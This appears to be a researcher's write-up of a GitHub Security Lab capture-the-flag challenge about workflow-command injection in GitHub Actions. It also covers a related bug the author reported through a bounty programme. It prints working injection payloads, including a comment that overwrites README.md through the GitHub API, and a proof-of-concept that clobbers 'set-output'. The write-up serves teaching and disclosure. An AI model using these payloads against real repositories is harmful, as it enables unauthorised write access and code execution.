The GitHub Capture-the-Flag - Call to Hacktion concluded in March 2021, and I was pleasantly surprised to be the first person to complete the challenge! I was intending to do a short writeup on the challenge back then, but the official writeup by GitHub had already explained the vulnerabilities and the solution.
There were some parts which I did not fully understood even after solving the challenge, and I want to take this chance to revisit some of the missed steps. I will also discuss a bug which I chanced upon while performing this deep-dive analysis. Hopefully this article helps to provide deeper insights into the internals of GitHub Actions and explain the whole exploit chain in detail, as well as raise awareness about the dangers of logging untrusted inputs in GitHub Actions.
Introduction
Call to Hacktion is a CTF hosted by GitHub Security Lab that ran from 17 March 2021 to 21 March 2021. The challenge is to exploit a vulnerable GitHub Actions workflow in a player-instanced private repository. Contestants are given read-only access to the repository, and the goal is to exploit the vulnerable workflow to overwrite README.md
on the main
branch to prove that the contestant had successfully obtained write privileges to the repository (i.e. read-only access -> privilege escalation -> read-write access
).
Vulnerable Workflow Analysis
Without further ado, let’s jump straight into the vulnerable workflow (.github/workflows/comment-logger.yml
) in the player-instanced challenge repository:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
name: log and process issue comments
on:
issue_comment:
types: [created]
jobs:
issue_comment:
name: log issue comment
runs-on: ubuntu-latest
steps:
- id: comment_log
name: log issue comment
uses: actions/github-script@v3
env:
COMMENT_BODY: ${{ github.event.comment.body }}
COMMENT_ID: ${{ github.event.comment.id }}
with:
github-token: "deadc0de"
script: |
console.log(process.env.COMMENT_BODY)
return process.env.COMMENT_ID
result-encoding: string
- id: comment_process
name: process comment
uses: actions/github-script@v3
timeout-minutes: 1
if: ${{ steps.comment_log.outputs.COMMENT_ID }}
with:
script: |
const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
return ""
result-encoding: string
If you have been following GitHub Security Lab’s research articles, you may have came across this article by Jaroslav Lobacevski on code/command injection in workflows. Essentially, it is not recommended to use GitHub Actions expression syntax referencing potentially untrusted input in inline scripts, as this can easily lead to code/command injections. On line 30 – const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
, it can be seen that a GitHub Actions expression that references an output from a previous job step is being used directly within the inline script. This looked suspicious, and code injection may be possible if the expression value can be controlled by an adversary.
Let’s move on to examine the referenced job step (comment_log
) and determine how code injection could be achieved:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
- id: comment_log
name: log issue comment
uses: actions/github-script@v3
env:
COMMENT_BODY: ${{ github.event.comment.body }} // attacker-controlled data
COMMENT_ID: ${{ github.event.comment.id }} // safe numerical ID generated by GitHub
with:
github-token: "deadc0de"
script: |
console.log(process.env.COMMENT_BODY) // untrusted input logged to standard output!
return process.env.COMMENT_ID // safe value returned
result-encoding: string
- id: comment_process
name: process comment
uses: actions/github-script@v3
timeout-minutes: 1
if: ${{ steps.comment_log.outputs.COMMENT_ID }} // if this output is set from previous job
with:
script: |
const id = ${{ steps.comment_log.outputs.COMMENT_ID }} // fill output value here!
return ""
result-encoding: string
Here, the actions/github-script@v3 action is being used. Basically, this action accepts a script
argument passed using with:
in the workflow file and executes it, allowing easy access to GitHub API and workflow run context. Notice that the comment body is being logged to standard output in the inline script – the attacker controlled data (comment body) ends up being printed to standard output! Using a feature of GitHub Actions known as workflow commands, the action can interact with the Actions runner. It works by parsing the output of the execution step and handling any commands denoted by any output line starting with ::
after trimming leading whitespaces.
This means that when an output line such as ::set-output name=[name]::[value]
is being logged, it would be possible to access the output value using ${{ steps.[job_id].outputs.[name] }}
. In the vulnerable workflow above, it can be seen that it would be possible for an adversary to set ${{ steps.comment_log.outputs.COMMENT_ID }}
such that it leads to a code injection in the comment_process
step.
To solve the challenge, we first close the const id =
variable assignment with 1;
and inject JavaScript code using the pre-authenticated octokit/core.js to push a new commit overwriting README.md
using GitHub REST API. I ended up with the following solution:
::set-output name=COMMENT_ID::1; console.log(context); console.log(process); await github.request('PUT /repos/{owner}/{repo}/contents/{path}', { owner: 'incrediblysecureinc', repo: 'incredibly-secure-Creastery', path: 'README.md', message: 'Escalated to Read-write Access', content: Buffer.from('Pwned!').toString('base64'), sha: '959c46eb0fbab9ab5b5bfb279ab6d70f720d1207' })
Note: console.log(context); console.log(process);
is added purely for debugging and is not actually required to exploit the vulnerable workflow. 959c46eb0fbab9ab5b5bfb279ab6d70f720d1207
refers to the SHA for the git blob (README.md
) being updated.
Why Did The Exploit Worked?
Now, we have successfully exploit the vulnerable workflow and solved the challenge. But, we have yet to understand why it worked under the hood.
Let’s continue by enabling logging in the Actions runner. To enable logging, follow the steps in the documentation and set the following repository secrets:
-
ACTIONS_RUNNER_DEBUG
totrue
-
ACTIONS_STEP_DEBUG
totrue
Since participants were given read-only access to the repository, it is not possible to set the secrets in the player-instanced repository. I proceeded to create a private test repository, added the debug repository secrets and imported the vulnerable workflow file.
After supplying a test comment, the workflow runs successfully with the following log:
...
##[debug]Starting: log issue comment
##[debug]Loading inputs
##[debug]Loading env
##[group]Run actions/github-script@v3
with:
github-token: deadc0de
script: console.log(process.env.COMMENT_BODY)
return process.env.COMMENT_ID
result-encoding: string
debug: false
user-agent: actions/github-script
env:
COMMENT_BODY: Test
COMMENT_ID: 802762169
##[endgroup]
test
::set-output name=result::802762169
##[debug]steps.comment_log.outputs.result='802762169'
##[debug]Node Action run completed with exit code 0
##[debug]Finishing: log issue comment
...
It turns out that the return process.env.COMMENT_ID
does not set ${{ steps.comment_log.outputs.COMMENT_ID }}
after all!
In fact, the comment_process
step is referencing a supposedly non-existent output from the comment_log
.
However, we do see ${{ steps.comment_log.outputs.result }}
being set. Upon examining the source code of actions/github-script@v3
, it is clear why this is the case:
...
const result = await callAsyncFunction(
{require: require, github, context, core, io},
script
)
...
core.setOutput('result', output)
...
What Could Go Wrong With Logging Untrusted Inputs?
One interesting thought I had was that, what if the workflow relied on outputs.result
instead. Is the below modified workflow vulnerable?
...
uses: actions/github-script@v3
script: |
console.log(process.env.COMMENT_BODY)
return process.env.COMMENT_ID
result-encoding: string
...
- id: comment_process
name: process comment
uses: actions/github-script@v3
timeout-minutes: 1
if: ${{ steps.comment_log.outputs.result }} // instead of outputs.COMMENT_ID
with:
script: |
const id = ${{ steps.comment_log.outputs.result }} // instead of outputs.COMMENT_ID
return ""
result-encoding: string
The answer is no – if set-output
workflow command is executed multiple times for the same output name, only the last value is retained.
Notice that in the above workflow, a trailing newline is enforced implicitly when using console.log()
.
Now, let’s consider a similar workflow that instead logs untrusted input using process.stdout.write()
. Is this vulnerable?
...
uses: actions/github-script@v3
script: |
process.stdout.write(process.env.COMMENT_BODY) // no trailing newline here
return process.env.COMMENT_ID // does this overwrite existing ::set-output?
result-encoding: string
...
- id: comment_process
name: process comment
uses: actions/github-script@v3
timeout-minutes: 1
if: ${{ steps.comment_log.outputs.result }} // instead of outputs.COMMENT_ID
with:
script: |
const id = ${{ steps.comment_log.outputs.result }} // instead of outputs.COMMENT_ID
return ""
result-encoding: string
This is a tricky question. I was not sure either, but it turns out this workflow is actually vulnerable!
But why? The Actions Runner reads each line of the step output, parses and executes any workflow commands (lines starting with the ::
marker) detected. In the above workflow, the output from process.stdout.write(process.env.COMMENT_BODY)
will be concatenated with the output from core.setOutput('result', output)
triggered under the hood by the return
statement in the inline script.
In other words, if the following comment body is supplied:
::set-output name=result::1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);
JUNK
Note: There is no no trailing newline after JUNK
.
The output shown in the job execution logs is:
::set-output name=result::1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);
##[debug]steps.comment_log.outputs.result='1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);'
JUNK::set-output name=result::802762169
##[debug]Node Action run completed with exit code 0
...
This should not be executed -- proof that we indeed have code injection: 1337
Observe that the ::set-output
workflow command issued for the return value of the script does not enforces a leading newline prior to being concatenated with the logged untrusted input. This means that we can prevent the return statement from successfully setting the result
step output by clobbering the ::set-output
command with the untrusted input.
Examining the source code for @actions/core
, we can see why this happens:
export function issueCommand(
command: string,
properties: CommandProperties,
message: any
): void {
const cmd = new Command(command, properties, message)
process.stdout.write(cmd.toString() + os.EOL) // leading newline not guaranteed
}
As a result of the missing prepended newline, users who mistakenly trust the output of ${{ steps.*.outputs.result }}
set by @actions/github-script
through @actions/core
may end up working with an untrusted value in subsequent job execution steps, which may lead to remote code/command execution and privilege escalation in seemingly secure workflows.
This issue was reported to GitHub via HackerOne and was resolved through the release of an interim solution to prepend a newline in all cores to core.setOutput()
:
Admittedly, while the interim solution is necessary, it is far from perfect as workflows/actions using core.setOutput()
under the hood may cause a lot of unnecessary newlines to appear in the job execution logs. In the future, this issue may be properly addressed with the complete removal of standard output command processing:
“To address the wider risks you bring up more holistically, we’re planning on removing stdout comand processing altogether in favor of a true CLI interface you’d need to explicitly choose to invoke to perform workflow commands. So long as info written to stdout can influence the runtime of an action, it’s no longer safe to print untrusted data to logs (and that’s certainly not a reasonable expectation to set for users of Actions). We may make some of this behavior more strict in the meantime, but long term we’re planning on tearing it out.”
Disclosure Timeline
- March 23, 2021 – Reported to GitHub Bug Bounty program on HackerOne
- March 24, 2021 – GitHub – Initial acknowledgement of report
- April 12, 2021 – Enquired on the status of the report
- April 12, 2021 – GitHub – Provided update that their engieering teams are still working on triaging this issue
-
April 17, 2021 – GitHub – Asked to review the pull request on @actions/toolkit to implement the interim fix prior to removal of standard output processing of
set-output
, and informed about long term plan to remove support for standard output processing -
April 18, 2021 – Verified interim fix in
@actions/core
is correct, but noted that the dependency ofactions/github-script
is not updated accordingly. Agreed that depreciating standard output command processing is a good move to eliminate such unexpected vulnerabilities caused by logging untrusted inputs. - June 19, 2021 – GitHub – Resolved report and awarded bounty
Conclusion
In the past, there had been security concerns over the workflow commands being parsed and executed by the Actions runner, which leads to unexpected modification of environment variables/path injection and resulting in remote code/command execution in workflows. To mitigate such risks, the GitHub team decided to depreciate several workflow commands. It is strongly recommended to disable workflow commands processing prior to logging any untrusted input to avoid any unexpected behaviour!
Thanks to GitHub Security Lab team for creating this awesome challenge and for the bounty! Taking part in this challenge helped immensely in solidifying my understanding of GitHub Actions and security considerations one should make when creating workflows.